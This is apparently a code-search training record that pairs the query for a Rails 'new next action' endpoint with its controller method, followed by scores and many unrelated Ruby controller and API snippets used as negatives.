[ "0.7089336", "0.70665765", "0.68817496", "0.68809897", "0.6845547", "0.6791525", "0.6791525", "0.6791525", "0.6791525", "0.67759305", "0.66990954", "0.66709274", "0.6666021", "0.6666021", "0.6666021", "0.6666021", "0.66405976", "0.6627282", "0.6599342", "0.6599342", "0.65914243", "0.6568961", "0.6568961", "0.6555052", "0.654653", "0.6515891", "0.64865184", "0.6485952", "0.6478978", "0.6472925", "0.6472925", "0.6472925", "0.6464189", "0.64506406", "0.64371127", "0.64371127", "0.6433538", "0.64322394", "0.6429361", "0.6422316", "0.6411119", "0.63917315", "0.63694954", "0.63634354", "0.6333161", "0.63140273", "0.6308301", "0.627978", "0.627978", "0.6270388", "0.6264384", "0.6251973", "0.6251973", "0.6251973", "0.6251973", "0.6251973", "0.6251973", "0.6251973", "0.6251973", "0.6251973", "0.6251973", "0.6251973", "0.6251973", "0.62358963", "0.6235871", "0.62326026", "0.62222904", "0.622169", "0.6216", "0.6216", "0.6177851", "0.61727387", "0.61710507", "0.61628574", "0.6160024", "0.6141879", "0.61374116", "0.6131579", "0.6131579", "0.6130049", "0.6127411", "0.61153644", "0.6111809", "0.610841", "0.6104667", "0.60931826", "0.60855734", "0.6082504", "0.6082205", "0.6081452", "0.60812205", "0.6077299", "0.60756105", "0.6072886", "0.60619336", "0.605443", "0.605443", "0.6054301", "0.6052038", "0.60499084", "0.6048382" ]
0.0
-1
GET /next_actions/1 GET /next_actions/1.json
def show @next_action = NextAction.find(params[:id]) respond_to do |format| format.html # show.html.erb format.json { render json: @next_action } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @next_action = current_user.next_actions.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @next_action }\n end\n end", "def next_actions!\n actions = migrate_actions :mapper\n actions += migrate_actions :reducer\n actions += reduce_actions\n actions += map_actions\n actions += finalize_actions\n actions\n end", "def next_actions(prior_action_ids, options={})\n return send_message(SkyDB::Message::NextActions.new(prior_action_ids, options))\n end", "def actions\n client.actions\n end", "def next_action\n # puts \"Sequence#next_action\"\n reset_cur_action_repeat\n @action_index = (@action_index + 1) % @sub_actions.length\n @cur_repeat -= 1 if @action_index.zero?\n\n setup_action unless complete?\n end", "def actions\n return @actions if @actions\n @actions = Client.get(\"/organizations/#{id}/actions\").json_into(Action)\n end", "def list\n List.from_response client.get(\"/actions/#{action_id}/list\")\n end", "def actions\n return @actions if @actions\n @actions = Client.get(\"/boards/#{id}/actions\").json_into(Action)\n end", "def index\n @action_items = Actionitem.find :all\n @actions = Action.find :all\n\n session[:current_action] = params[:action_id] || 1 \n\n @action_now = Action.find(session[:current_action])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @actionitems }\n end\n end", "def parse(json)\n actions = super(json)\n return [] if actions.nil?\n actions.collect do |raw_action|\n action = Action.new\n action.id = raw_action[\"id\"]\n action.name = raw_action[\"name\"]\n action.name_show = raw_action[\"name_show\"]\n action.done = raw_action[\"done\"] == 1\n action.done_time = raw_action[\"done_time\"]\n action.time = raw_action[\"time\"]\n action.next = raw_action[\"next\"] == \"next\"\n action.project = Nozbe::Project.new\n action.project.id = raw_action[\"project_id\"]\n action.project.name = raw_action[\"project_name\"]\n action.context = Nozbe::Context.new\n action.context.id = raw_action[\"context_id\"]\n action.context.name = raw_action[\"context_name\"]\n action.context.icon = raw_action[\"context_icon\"]\n action\n end\n end", "def destroy\n @next_action = NextAction.find(params[:id])\n @next_action.destroy\n\n respond_to do |format|\n format.html { redirect_to actions_url }\n format.json { head :no_content }\n end\n end", "def actions() ; info[:actions] ; end", "def actions() ; info[:actions] ; end", "def update\n @next_action = NextAction.find(params[:id])\n\n respond_to do |format|\n if @next_action.update_attributes(params[:act])\n format.html { redirect_to @next_action, notice: 'Next Action was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @next_action.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @user_actions = UserAction.all\n render json: @user_actions\n end", "def create\n \n if params[:project_id]\n project = Project.find(params[:project_id])\n @next_action = current_user.next_actions.build(params[:act])\n @next_action.project_id = project.id\n \n respond_to do |format|\n if @next_action.save\n format.html { redirect_to project, notice: 'Next Action was successfully created.' }\n format.json { render json: @next_action, status: :created, location: @next_action }\n else\n format.html { render action: \"new\" }\n format.json { render json: @next_action.errors, status: :unprocessable_entity }\n end\n end\n\n else\n @next_action = current_user.next_actions.build(params[:act])\n\n respond_to do |format|\n if @next_action.save\n format.html { redirect_to @next_action, notice: 'Next Action was successfully created.' }\n format.json { render json: @next_action, status: :created, location: @next_action }\n else\n format.html { render action: \"new\" }\n format.json { render json: @next_action.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def index\n @my_actions = MyAction.all\n end", "def perform_next_action\n return false if @actions.empty?\n action = @actions.pop\n log_debug(\"Current action : #{action}\")\n send(\"perform_action_#{action[:type]}\", action)\n return true\n end", "def actions\n []\n end", "def actions\n @actions\n end", "def show\n head :forbidden\n\n # @action = Action.find(params[:id])\n\n # render json: @action\n end", "def get_action(data)\n RestClient::Request.execute(:method => :post, :url => action_path, :payload => data, :timeout => TIMEOUT, :open_timeout => TIMEOUT) do |response, request, result|\n if response.code == 200\n begin\n JSON.parse(response).symbolize_keys\n rescue => e\n logger.info \"Exception #{e} raised in parsing response.\"\n {:action => \"fold\"}\n end\n else\n {:action => \"fold\"}\n end\n end\n rescue\n {:action => \"fold\"}\n end", "def index\n @next_steps = NextStep.all\n end", "def get_actions\n get_document.get_actions_yaml\n end", "def update!(**args)\n @actions = args[:actions] if args.key?(:actions)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n end", "def next_observation # :nologin: :norobots:\n redirect_to_next_object(:next, Observation, params[:id].to_s)\n end", "def actions\r\n return @actions\r\n end", "def action\n ACTIONS[self.action_id]\n end", "def action(id, type)\n res = self.class.post(\"/rest/items/#{id}/actions/#{type}/invoke\", :headers => {\"Content-Type\" => \"application/json\"}, :basic_auth => @auth)\n return res.parsed_response[\"attributes\"][0][\"value\"]\n end", "def index\n @event_actions = EventAction.all\n end", "def index\n @player_actions = PlayerAction.all\n end", "def next\n params[:topic] ||= ''\n @flash_cards = FlashCard.find(\n :all,\n :conditions => [\"lower(topic) = ?\", params[:topic].downcase],\n :order => :id\n )\n found = false\n @flash_card = @flash_cards.detect do |item|\n if found\n next true \n elsif item.id.to_s == params[:id] \n found = true\n end\n false \n end || @flash_cards.first\n\n respond_to do |format|\n format.json { render :json => @flash_card }\n end\n end", "def index\r\n @aes_actions = Action.all\r\n end", "def resources_actions\n @resources_actions ||= []\n end", "def action\n _action_obj.to_h\n end", "def continue\n fail 'This is the last page' unless continue?\n\n action = @action.merge(@metadata.fetch('continue'))\n\n self.class.new(action, merge_responses(JSON.parse(action.perform)))\n end", "def actions; end", "def next\n connection.write(\"next\")\n end", "def next\n connection.write(\"next\")\n end", "def action\n action_name.to_sym\n end", "def action_list(action_id, fields = \"all\")\n action_resource action_id, \"list\", fields: fields\n end", "def actions\n raise B1Admin::Exception.new(7,{text:\"Item B1Admin::Module with controller #{params['id']} not found\"}) unless item = B1Admin::Module.find_by_controller(params[:id].to_s)\n render json: {success: true, actions: item.get_controller_actions}\n end", "def actions\n @actions ||= []\n end", "def next\n puts 'Clicked next'\n go_to_next_diff_or_build_page\n # Navigate to the next diff that needs approval\n end", "def resource_actions\n @resource_actions ||= []\n end", "def action\n args.first\n end", "def screenActions\n actionobjects = @actionObjects[@action]\n return if actionobjects == nil\n actionobjects.each do |obj|\n if obj['Value'] == \"uploadfile:@step['Parameter1']\"\n p\n end\n waitTime = obj['Wait'].to_s.to_f\n sleep(waitTime)\n objectAction(obj)\n if @skipCurrentStep == true\n break\n end\n end\n end", "def show\n @next_step = NextStep.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @next_step }\n end\n end", "def get_action_info action_detail\n get_one_of action_detail\nend", "def acquire_action\n case @event['action']\n when 'create'\n 'error'\n when 'resolve'\n 'success'\n end\n end", "def next() \n\t\treturn self.response.next()\n\tend", "def eds_action_url eds_action\n search_action_url + '?' + generate_next_url + '&eds_action=' + eds_action\n end", "def actions\n @actions ||= []\n end", "def show\n next_url = {}\n next_url = {next: {profile: \"http://#{my_address}:3000/pickup\", href: \"http://#{my_address}:3000/orders/pickup/#{@order.id}\", enctype: 'application/json'}} if @order.status == \"ready\"\n respond_to do |format|\n response_json = { drink: @order.drink, status: @order.status, additions: @order.additions, _links: next_url}\n format.json { render json: response_json, status: 200 }\n end\n end", "def actions\n @actions || []\n end", "def index\n @wallet_actions = WalletAction.all\n end", "def next\n perform_request(next_page_uri) if next?\n end", "def next_list\n @_next ? @resource.list(abs_url: @_next) : nil\n end", "def action\n self.params[:action]\n end", "def show\n @action_name = ActionName.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @action_name }\n end\n end", "def index\n @actions = Action.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @actions }\n end\n end", "def head(action, **args); end", "def index\n @action_names = ActionName.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @action_names }\n end\n end", "def get_lists_action(action)\n url = nil\n case action\n when \"new_releases\"\n url = \"#{LISTS_DETAIL_BASE_URL}/dvds/new_releases.json?apikey=#{@api_key}\"\n when \"opening\"\n url = \"#{LISTS_DETAIL_BASE_URL}/movies/opening.json?apikey=#{@api_key}\"\n when \"upcoming\"\n url = \"#{LISTS_DETAIL_BASE_URL}/movies/upcoming.json?apikey=#{@api_key}\"\n when \"in_theaters\"\n url = \"#{LISTS_DETAIL_BASE_URL}/movies/in_theaters.json?apikey=#{@api_key}\"\n when \"current_releases\"\n url = \"#{LISTS_DETAIL_BASE_URL}/dvds/current_releases.json?apikey=#{@api_key}\"\n when \"upcoming_dvds\"\n url = \"#{LISTS_DETAIL_BASE_URL}/dvds/upcoming.json?apikey=#{@api_key}\"\n when \"top_rentals\"\n url = \"#{LISTS_DETAIL_BASE_URL}/dvds/top_rentals.json?apikey=#{@api_key}\"\n else\n puts \"Not a valid action\"\n return\n end\n return get(url)\n end", "def action\n end", "def next\r\n\r\n Access.first(:order => 'accesses.id', :conditions => [\"accesses.id > ?\", self.id])\r\n end", "def action\n end", "def do_next\n do_command('requests/status.json?command=pl_next')\n return currently_playing\n end", "def parse(json)\n res = super(json)\n @action.id = res[\"response\"]\n @action\n end", "def actions!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 11 )\n\n type = ACTIONS\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 142:11: 'actions'\n match( \"actions\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 11 )\n\n end", "def next_page\n url = @entity[:next]\n return unless url\n\n query = URI.decode_www_form(URI(url).query).to_h\n query = query.to_h { |k, v| [k.to_sym, v] }\n self.class.list(**query)\n end", "def next\n next_button.click\n end", "def next\n next_button.click\n end", "def next\n next_button.click\n end", "def next\n next_button.click\n end", "def action\n Actions[ self[:action] ]\n end", "def available_actions\n @available_actions ||= self.graph.from(self.current_state)\n end", "def next\n if session[:ticket_index]\n next_ticket_idx = session[:ticket_index].to_i + 1\n if next_ticket_idx > session[:tickets].length\n # TODO -- Retrieve next 30 tickets?\n # TODO -- Return to index if past the actual end of tickets.\n end\n session[:ticket_index] = next_ticket_idx\n next_ticket_number = session[:tickets][next_ticket_idx]\n redirect_to :action => 'show', :project_id => params[:project_id], :id => next_ticket_number\n else\n index_action = { :action => 'index', :project_id => params[:project_id] }\n index_action.merge!(:bin_id => session[:bin_id]) if session[:bin_id]\n redirect_to index_action\n end\n end", "def endpoint\n \"v1/action/queryMore\"\n end", "def actions\n return @actions\n end", "def show\n @instance_action = InstanceAction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @instance_action }\n end\n end", "def index\n @actionlists = Actionlist.all\n end", "def index\n\n @network_actions = filtered_network_actions.page params[:page]\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def list_actions_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ActionsApi.list_actions ...\"\n end\n if !opts[:'skip_count'].nil? && opts[:'skip_count'] < 0.0\n fail ArgumentError, 'invalid value for \"opts[:\"skip_count\"]\" when calling ActionsApi.list_actions, must be greater than or equal to 0.0.'\n end\n\n if !opts[:'max_items'].nil? && opts[:'max_items'] < 1.0\n fail ArgumentError, 'invalid value for \"opts[:\"max_items\"]\" when calling ActionsApi.list_actions, must be greater than or equal to 1.0.'\n end\n\n # resource path\n local_var_path = \"/action-definitions\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'skipCount'] = opts[:'skip_count'] if !opts[:'skip_count'].nil?\n query_params[:'maxItems'] = opts[:'max_items'] if !opts[:'max_items'].nil?\n query_params[:'orderBy'] = @api_client.build_collection_param(opts[:'order_by'], :csv) if !opts[:'order_by'].nil?\n query_params[:'fields'] = @api_client.build_collection_param(opts[:'fields'], :csv) if !opts[:'fields'].nil?\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['basicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ActionDefinitionList')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ActionsApi#list_actions\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def action\n \"index\"\n end", "def next_page\n page = self.page() + 1\n request = @request.clone()\n request.replace_param( :page, page )\n @client.execute( request )\n end", "def actions2\n return NewServiceRequestEntity.new_request_what_dialog_actions(self)\n end", "def index\n @call_to_actions = CallToAction.all\n end", "def next_phase\n\t\t@current = Iteration.get_current\n\t\[email protected] = case @current.status\n\t\t\t\twhen \"ideas\" then \"proposals\"\n\t\t\t\twhen \"proposals\" then \"voting\"\n\t\t\t\telse \"voting\"\n\t\t\tend\n\t\[email protected]\n\t\trender json: {:status => @current.status}\n\tend", "def next_actor_command()\n @actor_index += 1\n @actor_index %= $game_party.members.size\n $scene = Scene_Status.new(@actor_index)\n end", "def current_action\n @action\n end", "def next\n @next\n end", "def index\n @target = Target.new\n @targets = action_state.targets\n end", "def perform_action_url\n begin\n if @urls.has_key?('Action')\n return request(@urls['Action'], {}, {}, METHOD_GET)\n end\n rescue\n raise RETSException.new(\"Unable to follow action URL: '#{$!}'.\")\n end\n end", "def index\r\n list\r\n render_action 'list'\r\n end" ]
[ "0.7097086", "0.66801596", "0.6520351", "0.6407268", "0.63679063", "0.6316108", "0.62870437", "0.6021235", "0.60075116", "0.6000905", "0.59971225", "0.59967303", "0.59967303", "0.5986891", "0.5962236", "0.5947535", "0.59370565", "0.59219944", "0.5864031", "0.5854869", "0.58280075", "0.57901275", "0.5789498", "0.5783162", "0.5776174", "0.5771344", "0.5745914", "0.57306623", "0.5720422", "0.57105654", "0.5703321", "0.5700705", "0.5699936", "0.56858087", "0.5678827", "0.56634814", "0.56571794", "0.5618925", "0.5618925", "0.56135374", "0.56080586", "0.560183", "0.5594372", "0.55924547", "0.55801773", "0.5576788", "0.5576339", "0.5563266", "0.55624044", "0.55529886", "0.55504763", "0.5536579", "0.553232", "0.55298007", "0.5522866", "0.55015165", "0.5499776", "0.5488603", "0.5484526", "0.5484479", "0.54805744", "0.5476466", "0.5468496", "0.5457912", "0.5450934", "0.5442965", "0.54414314", "0.54304814", "0.54238296", "0.54224634", "0.5420537", "0.54180074", "0.54180074", "0.54180074", "0.54180074", "0.54150504", "0.5407066", "0.54054797", "0.5401791", "0.5397053", "0.5389331", "0.53889143", "0.53864145", "0.5374999", "0.5374999", "0.5374999", "0.5374999", "0.5374999", "0.53618985", "0.53604704", "0.534741", "0.53447354", "0.5340484", "0.5335264", "0.53213793", "0.5321116", "0.53188926", "0.53114456", "0.53050876", "0.52983063" ]
0.7480718
0
GET /next_actions/new GET /next_actions/new.json
def new @next_action = current_user.next_actions.build respond_to do |format| format.html # new.html.erb format.json { render json: @next_action } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n \n if params[:project_id]\n project = Project.find(params[:project_id])\n @next_action = current_user.next_actions.build(params[:act])\n @next_action.project_id = project.id\n \n respond_to do |format|\n if @next_action.save\n format.html { redirect_to project, notice: 'Next Action was successfully created.' }\n format.json { render json: @next_action, status: :created, location: @next_action }\n else\n format.html { render action: \"new\" }\n format.json { render json: @next_action.errors, status: :unprocessable_entity }\n end\n end\n\n else\n @next_action = current_user.next_actions.build(params[:act])\n\n respond_to do |format|\n if @next_action.save\n format.html { redirect_to @next_action, notice: 'Next Action was successfully created.' }\n format.json { render json: @next_action, status: :created, location: @next_action }\n else\n format.html { render action: \"new\" }\n format.json { render json: @next_action.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def new\n @action_name = ActionName.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @action_name }\n end\n end", "def new\n @instance_action = InstanceAction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @instance_action }\n end\n end", "def new\n @action_type = ActionType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @action_type }\n end\n end", "def new\n @next_step = NextStep.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @next_step }\n end\n end", "def new\n \n @act = Act.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @act }\n end\n end", "def new\n @xaction = Xaction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @xaction }\n end\n end", "def new\n # render(:new) => this whole action could also be implicit\n end", "def quest_new_page\n \"/#{user_path}/#{objective_path}/#{controller}/new\"\n end", "def new\n @action_list = ActionList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @action_list }\n end\n end", "def show\n @next_action = NextAction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @next_action }\n end\n end", "def new\n @tredit_action = TreditAction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tredit_action }\n end\n end", "def new\n @tredit_action = TreditAction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tredit_action }\n end\n end", "def visit_new_page(model, **opt, &block)\n visit_action_page(model, :new, **opt, &block)\n end", "def create\n @actions = [] unless defined?(@actions)\n @actions << :create\n end", "def new\n @tracked_action = TrackedAction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tracked_action }\n end\n end", "def new\n @edited << 'new'\n @expanded << 'new'\n\n respond_to do |format|\n format.html { render template: 'shared/new' }\n format.js { render 'story'; flash.discard }\n format.json { render json: @story }\n end\n end", "def new\n\n # check whether we can do this\n not_found and return unless action_allowed?( :create )\n\n # extract content\n extract_content\n generate_titles\n\n end", "def new\n @resource = Resource.new\n respond_to do |format|\n format.html {render action: :new} # new.html.erb\n format.json { render json: @resource }\n end\n end", "def new\n index\n end", "def new\n @action_item = ActionItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @action_item }\n end\n end", "def new\n @title = t('view.flows.new_title')\n @flow = Flow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @flow }\n end\n end", "def new\n @enrollment = current_enrollment\n @user = @enrollment.user\n\n @intervention = Intervention.where(key:params[:intervention_key]).first\n raise \"invalid intervention #{params[:intervention_key]}\" unless @intervention\n\n @action_plan = current_action_plan\n @action_item = @action_plan.action_items.where(component_uuid:@intervention.uuid).first\n\n # support \"extra credit\" activities\n if @action_item.nil?\n @action_item = ActionItem.create(component_type:Intervention::COMPONENT_TYPE, component_uuid:@intervention.uuid, prescribed:false)\n @action_plan.action_items << @action_item\n track_event(@action_item, :started_extra_credit_intervention, target: @intervention, points:STARTED_EXTRA_CREDIT_INTERVENTION_POINTS, intervention: @intervention.name)\n else\n # todo: typo here, but shouldn't change or we will lose the continuity of Mixpanel events\n track_event(@action_item, :started_planned_intervention_intervention, target: @intervention, points:STARTED_ASSIGNED_INTERVENTION_POINTS, intervention: @intervention.name)\n end\n\n if params[:show_desktop].present?\n redirect_to url_for_new_intervention(@intervention.key) + '?show_desktop=1'\n else\n redirect_to url_for_new_intervention(@intervention.key)\n end\n\n end", "def new\n @actionitem = Actionitem.new\n @actionitems_max_sort = Actionitem.find(:all , :conditions => { :action_id => params[:action_id] }).map(&:sort).max + 1\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @actionitem }\n end\n end", "def new\n @controller_action = ControllerAction.new\n @part = Part.find_by_id(params[:current_part_id])\n @project = @part.project\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @controller_action }\n end\n end", "def new\n @accessory_act = AccessoryAct.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @accessory_act }\n end\n end", "def index\n @action = \"New\"\n @users = User.all\n @user = User.new\n end", "def index\n render action:\"new\"\n end", "def new\n @action_file = ActionFile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @action_file }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource }\n end\n end", "def new\n @title = t('admin.promotions.new.title')\n @promotion = Promotion.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @promotion }\n end\n end", "def new\n @quality_action_number = QualityActionNumber.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quality_action_number }\n end\n end", "def new\n @knowledge = Knowledge.new\n @identities=Identity.all\n @identities_choose=[]\n @timelines_choose=[]\n @timelines=[]\n @categories_choose=[]\n @categories=[]\n breadcrumbs.add I18n.t(\"helpers.titles.#{current_action}\", :model => Model_class.model_name.human), new_knowledge_path\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @knowledge }\n end\n end", "def new\n @act_type = ActType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @act_type }\n end\n end", "def new\n @resources_and_link = ResourcesAndLink.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resources_and_link }\n end\n end", "def new\n @actore = Actore.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @actore }\n end\n end", "def new\n\t\teval(\"@#{controller_name.singularize} = #{controller_name.classify}.new\")\n\t\t\n\t\tnew_callback\n\t\t\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => eval(\"@#{controller_name}\") }\n end\n end", "def new\n @marketing_action = MarketingAction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @marketing_action }\n end\n end", "def new\n @submit_text = \"Create Post\"\n @node = Node.new(:title => params[:title])\n @topic_id = params[:topic_id]\n @source_id = params[:source_id]\n\n # Set path to redirect to after node is created.\n\n flash[:page_to_redirect_to] = request.referer\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @node }\n end\n end", "def new\n @user = User.new\n @action = \"new\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end", "def new\n if params[:last]\n @material_transfer_issue = MaterialTransferIssue.all.last.dup\n else\n @material_transfer_issue = MaterialTransferIssue.new\n end\n # after_controller_new\n respond_to do |format|\n format.html\n # new.html.erb\n format.json do\n render(json: @material_transfer_issue)\n end\n end\n end", "def new_next\n @item = Item.new_next(current_user)\n @item.create_date = current_user.new_item_date\n @tags_to_display = \"\" \n end", "def new\n expire_page :action => :index\n expire_page :action => :show\n \n @ganglia_graph = GangliaGraph.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ganglia_graph }\n end\n end", "def new\n @payable_action = PayableAction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @payable_action }\n end\n end", "def new\n @users_products_wanted_action = UsersProductsWantedAction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @users_products_wanted_action }\n end\n end", "def new #given to config/routes.rb\n end", "def new\n @contact_action = ContactAction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contact_action }\n end\n end", "def new\n @new_policy = NewPolicy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_policy }\n end\n end", "def new\n @question = Question.new\n @identities = Identity.all\n @timelines = Timeline.all\n @categories = Category.all\n\n breadcrumbs.add I18n.t(\"helpers.titles.#{current_action}\", :model => Model_class.model_name.human), new_question_path\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end", "def new\n @event = Event.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @event }\n end\n\n # render :action => 'new'\n end", "def create\n @next_step = NextStep.new(params[:next_step])\n\n respond_to do |format|\n if @next_step.save\n format.html { redirect_to :back, notice: 'Next step was successfully created.' }\n format.json { render json: @next_step, status: :created, location: @next_step }\n else\n format.html { render action: \"new\" }\n format.json { render json: @next_step.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n self.new\n render :action => 'new'\n end", "def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource }\n end\n end", "def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource }\n end\n end", "def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource }\n end\n end", "def new\n do_new_resource\n get_project_site\n do_set_attributes\n do_authorize_instance\n\n respond_new\n end", "def new\n # pismo_grab_meta_data\n paginate_all_links\n @link = Link.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @link }\n end\n end", "def new\n render 'new'\n end", "def new\n @activity = Activity.new\n @series = get_series('activities')\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @activity }\n end\n end", "def new\n @opportunity_generator = OpportunityGenerator.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @opportunity_generator }\n end\n end", "def new_action(start_pos,end_pos,action_type)\n \n a = ActionManager.new_action(start_pos,end_pos,action_type)\n \n return a\n \n end", "def new\n @breadcrumb = 'create'\n @activity = Activity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @activity }\n end\n end", "def parse(json)\n actions = super(json)\n return [] if actions.nil?\n actions.collect do |raw_action|\n action = Action.new\n action.id = raw_action[\"id\"]\n action.name = raw_action[\"name\"]\n action.name_show = raw_action[\"name_show\"]\n action.done = raw_action[\"done\"] == 1\n action.done_time = raw_action[\"done_time\"]\n action.time = raw_action[\"time\"]\n action.next = raw_action[\"next\"] == \"next\"\n action.project = Nozbe::Project.new\n action.project.id = raw_action[\"project_id\"]\n action.project.name = raw_action[\"project_name\"]\n action.context = Nozbe::Context.new\n action.context.id = raw_action[\"context_id\"]\n action.context.name = raw_action[\"context_name\"]\n action.context.icon = raw_action[\"context_icon\"]\n action\n end\n end", "def new\n @new_status = NewStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_status }\n end\n end", "def handle_new\n obj = model.new(request.params[model.link], request)\n model.hook(:before_new, request, obj)\n new_page(obj)\n end", "def new\n @toy_act = ToyAct.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @toy_act }\n end\n end", "def new\n @page = current_site.pages.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @page }\n end\n end", "def new\n \n @step = Step.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @step }\n end\n end", "def new\n @preceed = Preceed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @preceed }\n end\n end", "def new\n @url = Url.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @url }\n end\n end", "def new\n render \"new\"\n end", "def new\n render \"new\"\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @alley }\n end\n end", "def create\n @new_ = New.new(new__params)\n\n respond_to do |format|\n if @new_.save\n format.html { redirect_to @new_, notice: \"New was successfully created.\" }\n format.json { render :show, status: :created, location: @new_ }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @new_.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @actions = [{\"YGO战网\" => users_path}, \"参加比赛\"]\n @enroll = Enroll.new\n @enroll.name = @current_user.name if @current_user.id != 0\n @enroll.tournament = Tournament.find params[:tournament_id] if params[:tournament_id]\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @enroll }\n end\n end", "def new\n\n end", "def new\n\n end", "def new\n\n end", "def new\n\n end", "def new\n\n end", "def new\n\n end", "def new\n\n end", "def new\n\n end", "def new\n\n end", "def new\n\n end", "def new\n\n end", "def new\n\t\t# no code needed here; all handled in the view\n\tend", "def new_resource\n controller_class.new(new_resource_params)\n end", "def custom_action\n :new_note\n end", "def create_new\n render \"create_new\"\n end", "def new\n @assert = Assert.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assert }\n end\n end", "def new\n @assert = Assert.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assert }\n end\n end", "def new\n @page_id = \"opinions\"\n @opinion = Opinion.new\n @agents = Agent.all.collect {|item| [ item.name, item.id ]}\n @services = Service.find(:all).collect {|item| [ item.name, item.id ]}\n\n 